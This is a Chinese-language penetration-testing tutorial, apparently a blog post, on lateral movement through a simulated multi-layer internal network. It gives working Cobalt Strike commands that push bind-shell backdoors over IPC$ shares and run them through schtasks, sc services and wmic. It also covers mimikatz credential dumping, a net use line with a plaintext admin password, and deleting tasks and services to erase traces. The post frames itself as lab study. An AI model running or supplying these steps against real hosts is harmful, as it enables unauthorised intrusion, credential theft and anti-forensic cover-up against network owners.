@Webkio
最近在跟朋友搞一些專案玩,所以最近沒怎麼更新內容
接下來我將在虛擬中模擬內網多層靶場,進行內網滲透實驗,超詳細,適合小白。
本文僅供網安學習,不可利用於未授權滲透工作中,否則後果自負。碼字截圖不易,轉載記得署名。
微信關注公眾號: JiuZhouSec 不定期更新滲透乾貨,適合小白學習。九州大地,一起Dayday UP!
模擬內網靶場 進行內網實驗 我將從以下幾點簡述:
【上線邊界機器】-【內網滲透】-【橫向移動】-【痕跡清除】
實驗碼字不易,轉載文章請署名
這邊基於之前的文章 對內網網路拓撲進行了新的設定:
工作站:Vmware workstation;Cobalt Strike 4.3
VPS:141.164.40.209
PC1 邊界機器:192.168.18.100[NAT];192.168.19.140[僅主機]
PC2 內網機器:192.168.19.142[僅主機 不出網] 192.168.20.129[僅主機 不出網]
PC3 內網機器:192.168.20.128[僅主機 不出網]
操作環境:Windows server 2008 R2 sp1
實驗環境須知:無殺軟 無攔截
此篇文章僅供 內網模擬攻擊 參考。駭客攻擊手法通常是建立在免殺繞過的方法上,滲透測試本身就是「逆天而行」的事情。模擬靶機,是為了更直觀的發現內網的薄弱點,深化網安價值。
IPC 共用命名管道,連線445埠,提供賬戶密碼後,可以進行預設檔案共用及資源管理
139 NetBIOS File and Print Sharing 通過這個埠進入的連線試圖獲得NetBIOS/SMB服務。
利用前提條件:
1. 開放139 445(SMB) 埠 (預設)
2. 目標開啟 IPC 共用服務 (預設)
3. 要有管理員賬戶密碼 (預設)
schtasks是Windows的網路計劃任務
這邊利用PC1與PC2簡歷的IPC連線 寫計劃任務上線內網機器PC2
利用Windows內建工具是可以儘量繞過殺軟,服務查殺的一種手法,僅供參考。
1. 讓PC1 邊界機器上線
CS建立監聽器
2. 生成一個後門 並利用漏洞上傳至邊界機器PC1 並執行
3. 觀察CS檢視表 PC1邊界機器上線
4. 獲取beacon後 進入 並重新整理對談時間 ---> sleep 0
5. 這裡可以上傳Fscan、或者利用CS 內建工具進行內網埠掃描操作
6. 這邊對192.168.19.0網段下139,445進行埠掃描
7. 這裡通過埠進行了埠存活探測 192.168.19.143的139 445開啟
8. 嘗試獲取目標邊界機器的明文密碼 (這一步能獲取的到就獲取 該實驗均是在上帝視角下進行)
部分運維人員的邊界機器與內網機器為了便於使用 登入密碼可能都是同一個密碼
9. 利用邊界機器PC1 建立與 PC2 192.168.19.143的IPC連線
在模擬環境下 PC2是不出網的 對於不出網的機器 我們可以採取正向shell的方式獲取shell
10. 在CS上建立正向監聽,建立一個後門通過PC1與PC2建立的IPC連線上傳後門程式並執行
上傳前的PC2 機器目錄下的檔案內容:shell dir \192.168.19.143\c$
建立正向監聽器: 這邊指定的埠 要記好 7228
建立一個無狀態的windows後門程式
11. 將在攻擊機(本機)上利用CS建立的正向後門上傳至PC1
12. 由IPC連線 通過PC1 上傳檔案至PC2 C槽下
shell dir
shell copy bind.exe \192.168.19.143\c$
13. 寫schtasks 計劃任務 執行bind.exe 建立計劃任務
shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
指令剖析:
schtasks -指定schtask方法
/create -建立
/s -system許可權
/sc -指定建立的型別
/tn -指定計劃任務名
/tr -需要執行的程式或命令
/mo -指定程式或命令執行的時間間隔,單位為分鐘
因為是正向shell 需要攻擊機連線靶機 這裡只有PC1可以與PC2建立互動 故在PC1的beacon中建立與PC2的連線 執行如下:
connect 192.168.19.143 7228
PC2成功上線 這裡一個小細節 圖示後的連結圖示 即代表PC2是通過PC1建立的連線
進入beacon
這裡我們可以看到在PC2 【192.168.19.143】這臺主機下 還有一張192.168.20.132的網路卡 我們可以利用以上第五步介紹的方法進行埠探測 再嘗試利用PC2建立與PC3的IPC連線 通過PC2使PC3上線
提供步驟思路【就不截圖了 碼字有點手痠】:
14. 痕跡清除 刪除計劃任務
這邊建立的計劃任務名是什麼要記好哦 /tn 指定計劃名 刪錯了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f
通過Windows服務的管理策略,建立新的服務,執行後門程式
這邊CS中的 logonpasswords 是通過存取本地安全認證子系統服務程序「lsass.exe」獲取明文密碼
logonpasswords的技術 通過呼叫 "mimikatz"實現
shell net use \192.168.19.142 /user:Administrator "admin@123"
shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'
這邊需要注意一點 SC等於號"=" 和 "值"之間要有空格 這邊好像是CS4.3版本的一個小bug
可以詳見截圖的細節。
這邊觀察PC2 kiotest這個程序已在不出網的PC2服務策略中生成
這裡通過sc qc [服務名] 可以檢視對應服務的詳細資訊
shell sc \192.168.19.142 qc kiotest
shell sc \192.168.19.142 kiotest
啟動192.168.19.142的kiotest 服務,其實就是讓服務去尋找C槽下的bind.exe並啟動
這裡因為是 圖文表述 具體效果 我們可以反覆實驗以 證明通過IPC連線去建立服務-啟動服務的一個過程。
connect 192.168.19.142 7228
生成的正向shell 和 反彈shell的埠都要做個記錄哦 因為這裡的實驗都是上帝視角,正常來說我們是不能直接看PC2的圖形化介面的。如果忘了埠 不就白打了嗎
細心的人應該發現了 上線的是一個192.168.20.0網段的機器。說明該網段下可能還存有PC3、PC4等等。
這裡類似於IPC+schtasks的方法 層層遞進的進行攻擊就好了,思路在上面也能看到
shell sc \192.168.19.142 delete [服務名]
WMIC是Windows的遠端管理控制器,通過遠端管理目標機器,可以直接在目標中進行一些操作
wmic和cmd一樣在所有的windows版本中都存在,同時wmic有很多cmd下不方便使用的部分
這邊wmic的方法同上 大同小異 方法多多益善
shell wmic /node:192.168.19.142 process list brief
小技巧:wmic執行一些命令是沒有回顯結果的 我們可以通過將執行命令的結果寫入檔案 再檢視
shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"
shell type \192.168.19.142\c$\result.txt
生成
監聽
後門
上傳語法:shell copy bind.exe \192.168.19.142\c$
當前目錄下進行上傳「bind.exe」 至 靶機的C槽下
執行:
shell wmic /node:192.168.19.142 process call create "C:bind.exe"
連線上線:
connect 192.168.19.142 7228
以下簡單的介紹兩種不常用的內建工具 winrs和WinRM 用法同上三種大同小異
要求:目標機器 5985埠開啟,如果沒有開,可以手動開啟(在滲透測試中不常用)
靶機手動開啟 winrm quickconfing -q 【! 網路狀態是家庭網路 或 工作網路 才能開啟】
在靶機手動開啟 winrm quickconfing -q
這兩種同是在邊界機器淪陷的基礎下,進行存活探測,建立IPC連線等,去進行橫向移動滲透測試的操作。
過幾天整理一篇外部工具的利用。如有錯誤不足,勞糾正,互相學習,共建網安!